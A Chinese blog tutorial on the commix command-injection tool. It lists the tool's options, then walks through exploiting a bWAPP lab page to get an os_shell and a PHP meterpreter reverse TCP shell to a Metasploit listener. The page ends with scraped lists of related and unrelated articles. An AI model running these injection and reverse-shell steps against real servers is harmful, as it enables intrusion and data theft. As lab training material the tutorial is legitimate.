commix简介

commix是一款由python编写,开源自动化检测系统命令注入工具  https://github.com/commixproject/commix

commix 参数

  • 选项:

  • -v           VERBOSE详细程度级别(0-1,默认值:0)。

  • --version       显示版本号并退出。

  • --output-dir=..   设置自定义输出目录路径。

  • -s SESSION_FILE   从存储(.sqlite)文件加载会话。

  • --flush-session   刷新当前目标的会话文件。

  • --ignore-session  忽略存储在会话文件中的结果。

  • 目标:

  • -u URL,--url = URL  目标URL。

  • --url-reload      在命令执行后重新加载目标URL。

  • -l LOGFILE       解析来自HTTP代理日志文件的目标和数据。

  • --crawl = CRAWLDEPTH  从目标网址开始抓取网站(1-2,默认值:0)。

  • 请求:

  • --data=DATA      要通过POST发送的数据字符串。

  • --host=HOST       HTTP主机头。

  • --referer=REFERER   HTTP Referer标头。

  • --user-agent=AGENT  HTTP用户代理头。

  • --random-agent    使用随机选择的HTTP User-Agent头。

  • --param-del=PDEL   设置分割参数值的字符。

  • --cookie=COOKIE    HTTP Cookie头。

  • --cookie-del=CDEL   设置分割cookie值的字符。

  • --headers=HEADERS   额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。

  • --proxy=PROXY     使用HTTP代理(例如“127.0.0.1:8080”)。

  • --tor          使用Tor网络。

  • --tor-port=...      设置Tor代理端口(默认值:8118)。

  • --auth-url=...     登录面板URL。

  • --auth-data =AUTH   登录参数和数据。

  • --auth-type =AUTH   HTTP认证类型(例如“基本”或“摘要”)。

  • --auth-cred =AUTH   HTTP身份验证凭据(例如“admin:admin”)。

  • --ignore-401      忽略HTTP错误401(未授权)。

  • --force-ssl      强制使用SSL / HTTPS。

  • 枚举:

  • 这些选项可用于枚举目标主机。

  • --all            检索一切。

  • --current-user       检索当前用户名。

  • --hostname         检索当前主机名。

  • --is-root          检查当前用户是否具有root权限。

  • --is-admin         检查当前用户是否具有管理员权限。

  • --sys-info         检索系统信息。

  • --users           检索系统用户。

  • --passwords         检索系统用户密码散列。

  • --privileges        检索系统用户权限。

  • --ps-version        检索PowerShell的版本号。

  • 文件访问:

  • 这些选项可用于访问目标主机上的文件。

  • --file-read = FILE ..  从目标主机读取文件。

  • --file-write = FIL ..  写入目标主机上的文件。

  • --file-upload = FI ..  在目标主机上上传文件。

  • --file-dest = FILE ..  写入和/或上传到的主机的绝对文件路径。

  • 模块:

  • 这些选项可用于增加检测和/或注射能力。

  • --icmp-exfil = IP_ ..'ICMP exfiltration'注入模块。  (例如'ip_src = 192.168.178.1,ip_dst = 192.168.178.3')。

  • --dns-server = DNS ..“DNS exfiltration”注入模块。  (用于DNS筛选攻击的域名)。

  • --shellshock“炮弹”注射模块。

  • 注射:

  • 这些选项可用于指定要插入和输入的参数,提供定制注入有效负载。

  • -p TEST_PARAMETER    可测试参数。

  • --suffix = SUFFIX    注入有效负载后缀字符串。

  • --prefix = PREFIX    注入有效负载前缀字符串。

  • --technique = TECH   指定要使用的进样技术。

  • --maxlen = MAXLEN    设置与时间相关的最大输出长度,注射技术(默认:10000字符)。

  • --delay = DELAY     设置与时间相关的注入的自定义时间延迟术(默认:1秒)。

  • --tmp-path = TMP_P ..  设置Web服务器的临时目录的绝对路径。

  • --root-dir = SRV_R ..  设置Web服务器根目录的绝对路径。

  • --alter-shell = AL ..  使用另一个os-shell(例如'Python')。

  • --os-cmd = OS_CMD    执行单个操作系统命令。

  • --os = OS        将后端操作系统强制为此值。

  • --tamper = TAMPER   使用给定脚本篡改注射数据。

  • 检测:

  • 这些选项可用于自定义检测阶段。

  • --level = LEVEL  要执行的测试级别(1-3,默认值:1)。

  • --skip-calc    在检测期间跳过数学计算

  • --dependencies  检查第三方(非内核)依赖关系。

演示

POST /bWAPP/commandi.php HTTP/1.1

Host: 192.168.115.12

Referer: http://192.115.12bWAPP/commandi.php

Cookie: acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0

target=www.nsa.gov&form=submit

commix利用

~# commix --url "http://192.168.115.12/bWAPP/commandi.php" --cookie="acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=mq78064h3p2b00n4toerk7ana1; security_level=0" --data="target=www.nsa.gov&form=submit"

询问是否想要一个shell 输入Y 的到shell

[?] Do you want a Pseudo-Terminal shell? [Y/n] > y

Pseudo-Terminal (type '?' for available options)

commix(os_shell) >

得到shell

commix(os_shell) > pwd

/owaspbwa/bwapp-git/bWAPP

commix(os_shell) > id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell) > ls -ll

可以进行反弹shell 结合metasploit 进行内网渗透

commix(os_shell) > reverse_tcp

commix(reverse_tcp) > set LHOST 192.168.120.101 """(msf机器)

LHOST => 192.168.120.101

commix(reverse_tcp) > set LPORT 4444

LPORT => 4444

---[ Reverse TCP shells ]---

Type '1' to use a netcat reverse TCP shell.

Type '2' for other reverse TCP shells.

commix(reverse_tcp) > 2

---[ Unix-like reverse TCP shells ]---

Type '1' to use a PHP reverse TCP shell.

Type '2' to use a Perl reverse TCP shell.

Type '3' to use a Ruby reverse TCP shell.

Type '4' to use a Python reverse TCP shell.

Type '5' to use a Socat reverse TCP shell.

Type '6' to use a Bash reverse TCP shell.

Type '7' to use a Ncat reverse TCP shell.

---[ Meterpreter reverse TCP shells ]---

Type '8' to use a PHP meterpreter reverse TCP shell.

Type '9' to use a Python meterpreter reverse TCP shell.

Type '10' to use a Windows meterpreter reverse TCP shell.

Type '11' to use the web delivery script.

commix(reverse_tcp_other) > 8

[*] Generating the 'php/meterpreter/reverse_tcp' payload... [ SUCCEED ]

[*] Type "msfconsole -r /usr/share/commix/php_meterpreter.rc" (in a new window). #复制 启动msf

[*] Once the loading is done, press here any key to continue...  #按下确定建就可进行在msf接收到反弹的shell

[+] Everything is in place, cross your fingers and wait for a shell!

总结 commix工具利用

1.访问 web页面http://192.168.115.12/bWAPP/commandi.php

2.提交数据 通过抓包工具截取 url  cookie  data数据

3.用commix 工具指定链接并进入后台

commix  -- url "http://192.168.115.12/bWAPP/commandi.php"   --data="target=www.nsa.gov&form=submit"  --cookie "xxxxxxxxxxxxxxxxxxxxxxx"

commix工具配合命令注入的更多相关文章

  1. command injection命令注入

    命令注入 是指程序中有调用系统命令的部分,例如输入ip,程序调用系统命令ping这个ip.如果在ip后面加一个&&.&.|.||命令拼接符号再跟上自己需要执行的系统命令 在pi ...

  2. commix 命令注入工具

    关于系统命令注入,可以参考这篇文章:命令攻击介绍 系统命令注入场景 在对企业进行安全测试时候,很少会发现系统注入漏洞.这是因为大部分情况下代码业务主要是数据操作.文件操作.逻辑处理和api接口调用等, ...

  3. 命令注入工具Commix

    命令注入工具Commix   命令注入(Command Injection)攻击是针对Web应用的一种攻击方式.很多Web应用会读取用户提交的数据,然后传递到系统Shell,执行特定的操作,如为用户创 ...

  4. Commix命令注入漏洞利用

    介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...

  5. WEB安全第一篇--对服务器的致命一击:代码与命令注入

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  6. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

  7. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  8. 2.SDK目录结构和adb工具及命令介绍

    安卓开发学习笔记 1.安卓开发之环境搭建 2.SDK目录结构和adb工具及命令介绍 1.SDK目录介绍: ******************************** add-ons:Androi ...

  9. OS命令注入

    SSL http://kb.cnblogs.com/page/162080/ http://baike.baidu.com/link?url=jPitKuDw_ncDlMbOc1SkWzM9TuKX9 ...

随机推荐

  1. mybatis - 通用mapper

    title: 玩转spring-boot-mybatis date: 2019-03-11 19:36:57 type: "mybatis" categories: mybatis ...

  2. python import cv2异常(dll load fail / windows server 2008)

    最近服务器迁移,从得win7系统迁移到云服务器器上的windows server2008系统,迁移过程中安装Python的opencv一直出错,不管是用whl安装或者是在线pip安装都报错,尝试打包成 ...

  3. 一步一步带你在VS 2017中配置OpenGL

    在VS2017环境中配置OpenGL,我们分三步:配置GLFW.配置GLAD.导出项目模板. 配置GLFW 1.首先下载GLFW,点击这里,进入Github下载. 或者 点击这里从百度云下载,提取码为 ...

  4. 针对永久不过期的key 批量设置过期时间

    问题需求: redis内存暴增,后来发现有很多设置永久不过期. 解决:查找出来之后针对前缀批量设置过期时间 (过期时间与开发沟通 保证服务不受影响) 来源于网上杨一的代码 正好解决了我遇到的问题 在这 ...

  5. Spring Boot 2.X(二):集成 MyBatis 数据层开发

    MyBatis 简介 概述 MyBatis 是一款优秀的持久层框架,支持定制化 SQL.存储过程以及高级映射.它采用面向对象编程的方式对数据库进行 CRUD 的操作,使程序中对关系数据库的操作更方便简 ...

  6. WebSocket协议与抓包

    WebSocket协议 WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接,它的目的是在浏览器和服务器之间建立一个不受限的双向通信的通道,比如说,服务器可以在任意时刻发送消息给浏览器 ...

  7. 基于Tcp穿越的Windows远程桌面(远程桌面管理工具)

    基于Tcp穿越的Windows远程桌面(远程桌面管理工具) 1.<C# WinForm 跨线程访问控件(实用简洁写法)>            2.<基于.NET环境,C#语言 实现 ...

  8. Android系统介绍与框架

    一.Andriod是什么? Android系统是Google开发的一款开源移动OS,Android中文名被国内用户俗称“安卓”.Android操作系统基于Linux内核设计,使用了Google公司自己 ...

  9. ASP.NET Web API 2系列(一):初识Web API及手动搭建基本框架

    1.导言 随着Web技术的发展,现在各种框架,前端的,后端的,数不胜数.全栈工程师的压力越来越大. PC端,pad端,移动端App(安卓/IOS)的发展,使得前后端一体的开发模式十分笨重.因此,前后端 ...

  10. Vue入门教程 第四篇 (属性与事件)

    computed计算属性 计算属性(computed)在处理一些复杂逻辑时是很有用的.它的定义方式与methods类似. <div id="app"> <div& ...